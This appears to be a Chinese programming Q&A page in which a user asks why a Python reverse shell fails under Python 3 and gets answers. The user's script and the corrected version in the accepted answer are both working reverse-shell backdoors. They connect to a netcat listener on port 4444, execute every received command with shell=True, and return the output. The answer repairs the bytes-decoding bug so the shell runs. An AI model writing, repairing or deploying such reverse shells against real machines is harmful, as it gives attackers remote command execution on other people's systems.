2013-04-14 83 views
0

我的shell脚本:Python的shell脚本错误与POPEN

#!/usr/bin/python 

import subprocess, socket 

HOST = 'localhost' 
PORT = 4444 

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 

s.connect((HOST, PORT)) 


while 1: 
    data = s.recv(1024) 
    if data == "quit": break 
    proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE,  stderr=subprocess.PIPE, stdin=subprocess.PIPE) 


    stdoutput = proc.stdout.read() + proc.stderr.read() 

    s.send(stdoutput) 


s.close() 

我使用netcat来侦听端口4444。所以我来说netcat,它是听。然后我运行此脚本,但如果我在netcatipconfig或东西,我在外壳得到这个错误:

Traceback (most recent call last): 
    File "C:\Users\Myname\Documents\shell.py", line 16, in <module> 
    proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) 
    File "C:\Python33\lib\subprocess.py", line 818, in __init__ 
    restore_signals, start_new_session) 
    File "C:\Python33\lib\subprocess.py", line 1049, in _execute_child 
    args = list2cmdline(args) 
    File "C:\Python33\lib\subprocess.py", line 627, in list2cmdline 
    needquote = (" " in arg) or ("\t" in arg) or not arg 
TypeError: argument of type 'int' is not iterable 
+0

['socket.recv()'](http://docs.python.org/3.3/library/socket.html#socket.socket.recv)返回一个['bytes'](HTTP: //docs.python.org/3.1/library/functions.html#bytes)对象。也许它不是一个字符串类型? 'data = str(s.recv(1024))'工作吗? (我从来没有使用'bytes'对象......) – alcedine

+0

我测试了你的代码,我没有收到任何错误消息。也许试着改变端口号(4444是注册端口),然后写出实际的IP而不是'localhost'(用Python 2.7.3在Xubuntu和Windows 8上测试) – ton1c

回答

1

您的代码可以完美兼容的Python 2.7。但它会导致Python3显示的错误。因为在Python 2.X中,data = s.recv(1024)的返回值是一个字符串,而在Python 3.X中它是字节。您应该对其进行解码与subprocess.Popen()之前执行它,如下:

#!/usr/bin/python 

import subprocess, socket 

HOST = 'localhost' 
PORT = 4444 

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
s.connect((HOST, PORT)) 

while True: 
    data = s.recv(1024).decode() 
    if data == "quit\n": break 
    proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE,  stderr=subprocess.PIPE, stdin=subprocess.PIPE) 
    stdoutput = proc.stdout.read() + proc.stderr.read() 
    s.send(stdoutput) 

s.close() 

在解码时的字节数,这取决于编码集,如果不是ASCII。

两个建议:

  1. 在无限循环,我们最好使用而真实,而不是1时,以增强可读性。

  2. 如果您使用netcat发送命令,则收到的字符串将以“\ n”结尾。所以数据==“退出”将永远是错误的。